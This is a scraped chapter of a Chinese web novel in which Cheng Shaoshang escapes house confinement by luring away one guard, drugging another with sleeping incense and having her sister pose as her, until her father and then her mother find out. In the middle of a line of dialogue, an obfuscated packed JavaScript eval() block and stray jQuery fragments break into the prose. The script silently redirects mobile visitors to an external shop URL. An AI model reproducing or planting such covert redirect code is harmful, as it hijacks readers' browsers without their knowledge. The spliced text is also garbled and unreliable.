文趣网 > 其他小说 > 可曾盼君归 > 38. 暗度陈仓
    巷口的风卷着落叶擦过肩头,少商拢了拢压低的帷帽,指尖无意识摩挲着袖管里残留的半支迷香,阖眼间,那日偏院的一幕幕,又清晰浮现在眼前。

    禁足第二日的深夜,秋露打湿窗纸。她指尖蘸了点茶水,在窗纸上轻轻叩了三下——这是她和少宫约好的暗号。隔壁院落静了片刻,一道颀长的人影慢慢凑到窗畔,隔着窗纸映出模糊的轮廓。

    少商将早已写好的素笺卷成细条,顺着窗缝轻轻塞过去。纸条上字迹疏朗,只寥寥数语:明日午后,与少绥配合引开武婢。助我出府,事后重谢。

    那边少宫捏着纸条,对着窗缝比了个“妥”的手势,人影一晃便没了声息。

    次日午后,程始果然依计将萧元漪诓出府。院门“咔嗒”落锁的声响刚落,少宫便掂着个朱漆食盒晃悠到偏院后窗,故意弄出不小的动静。

    守在院门口的两名武婢听见声响,其中一人快步循声找了上来,沉声道:“少宫公子,夫人有令,二位女公子禁足院中,不得会客。”

    “会客?我看你们是守糊涂了!”少宫立刻皱起眉,端着公子架子劈头盖脸便训,“我是少绥亲阿兄,送盒点心过来也叫会客?她前儿闹着要吃膳房的桂花糕,我今日特意领了一盒,递进去就走,多大的事也值得你们拦着?”

    他将手里的食盒举了举,语气愈发不耐烦:“怎么着,还得我去跟阿母说一声,你们才肯通融?这点小事都要卡着,平日里白疼你们了!”

    那武婢被他一顿训斥说得脸上一阵红一阵白。少宫是府里三公子,素来受宠,真为这点小事闹到女君跟前,反倒显得她们不懂事。她迟疑着陪了个笑:“公子说哪里话。只是女君吩咐得严……”

    “严也分什么事。”少宫打断她,故意挑着理,“我又不进去,就站在这儿,你去把少绥唤到窗跟前来,我把食盒递她。耽误不了你半刻功夫。还是说,我支使不动你?”

    他话说得重,那武婢只得应道:“属下不敢。公子稍候,属下这就去唤。”

    少宫望着她的背影,又扬声补了句:“快点!糕要凉了!”

    那武婢快步引着少绥往后窗走,心里只想着快快打发了这位小祖宗,全然没留意正门方向的动静。

    留在正门的武婢正背对着院角的窗缝,丝毫没察觉一缕极淡的清苦香气顺着缝隙漫出来。她只觉头脑一沉,眼皮瞬间重得像灌了铅,身子晃了晃,顺着门框软软滑下去。

    少商收了迷香,指尖轻轻拨开院门闩,又将那名昏睡的武婢姿势摆得更自然些,让她脑袋微微垂着,手肘搭在膝头,看着像是打盹打得正沉,便转身贴着墙根,顺着角门的阴影溜了出去。

    少绥自称禁足不宜久留,便率先溜回房中,换上衣衫,戴上帷帽,学着少商平日的模样,脊背挺得笔直,坐在案前提笔写字。远远从窗外望进去,剪影端端正正,运笔从容,倒真有几分以假乱真的意思。

    待那武婢回到正门,只见另一名武婢昏昏欲睡,赶紧将她唤起,两人看向房中,见少商还在,便宽了心。

    少商回来时特意拣了僻静小巷,避开主街往来的仆从车马。见到阿父阿母已然回府,阿母召值守的两名武婢前去问话,才轻手轻脚绕过后院回廊,几步便回了自己的偏院。

    院里一切照旧。少绥正坐在案前装模作样地抄书,听见动静连忙回头,见是少商,长长舒了口气,拍着胸口道:“可算回来了!我方才听见前院马车响,心都提到嗓子眼了。阿姊,宫里怎么样?你们都说什么了?”

    少商刚要开口,院门外忽然传来一阵急促的脚步声,跟着“吱呀”一声,院门被人一把推开。

    二人吓了一跳,齐齐转头。见是程始披着件玄色外袍站在门口,少绥才松了口气,拍着胸口道:“阿父!吓死我了。”

    程始跨进门来,反手带上门,目光径直落在少商身上,又急又气,压低声音道:“你老实跟我说,今日是不是偷偷跟着进宫了?”

    少商神色不变,点头道:“是。”

    “你!”程始指着她,手指都微微发抖,声音满是焦灼,“你可真敢啊!禁足期间私自出府也就罢了,还敢闯进宫里!今日若不是我眼疾手快挡着你阿母,叫她看真切了,你想想是什么后果!你去找谁了这是?”

    “找皇后娘娘。”少商答得坦然。

    “皇后?!”程始声音都拔高了几分,急得直跺脚,“我的小祖宗!你可真能闯祸!皇后娘娘是什么身份,也是你私自入宫就能见的?这要是让你阿母知道,我都保不了你!”

    “我自己承担。”少商声

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926492|213544||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    音平平的,“一人做事一人当。”

    “你承担?你怎么承担?”程始又气又心疼,眉头拧成了结,“你阿母那性子你又不是不知道!你就没想过,她有一天知道了实情会伤心?”

    少商垂了垂眼,指尖轻轻攥紧衣袖,声音低了几分,却带着骨子里的执拗:“那阿母罚我禁足、不问缘由便定我罪的时候,可曾想过我的感受?”

    “你这孩子……”程始被噎得语塞,看着女儿一脸倔强,满腔火气又慢慢泄了下去,只剩满心无奈。他长长叹了口气,摆摆手,“罢了罢了。今日这事,我不跟你阿母说。”

    他顿了顿,神色郑重了几分:“但你记住,常在河边走,哪有不湿鞋。这般旁门左道的法子,用一次两次也就罢了,次次都这般铤而走险,迟早要露馅。你们姊妹俩,好自为之吧。”

    说罢,他又深深看了少商一眼,转身推门出去了。

    少绥看着程始的背影消失在院外,才轻轻扯了扯少商的衣袖,小声唤道:“阿姊……”

    “不碍事……”少商摇摇头,“连累不到你。”

    前院正堂里,萧元漪端坐在主位。

    两名值守的武婢齐齐跪在堂下,其中一人重重叩首:“属下值守之时,一时乏累,竟靠着门小憩了片刻,请夫人责罚!”

    萧元漪眉峰一蹙,目光锐利如刀,指尖重重叩了叩案几:“当时发生什么了,从头说。”

    “回女君,”那武婢硬着头皮回话,“先前少宫公子来院中,说要给少绥女公子送点心,阿姊怕少宫公子闹起来惊扰府里,便去唤人。去了片刻,回来便见属下靠着门睡着了。阿姊还训斥了属下几句。只是当时屋内,少商女公子好好坐在案前抄书,想来并无大碍。”

    调虎离山,引开一人;再用迷香,放倒一个;最后叫少绥假扮少商坐在屋里掩人耳目……好一个连环计!

    她瞬间便想通了前因后果,胸口气血翻涌,“啪”地一掌拍在案几上,茶盏猛地一跳,发出清脆的碰撞声。

    “好,好得很!”萧元漪声音冷得像淬了冰,字字带着怒意,“程少商倒是好本事!禁足都禁不住她!”

    她猛地起身,厉声下令:“来人!去偏院,把她二人给我押过来!我倒要看看,她们究竟有多大的胆子!”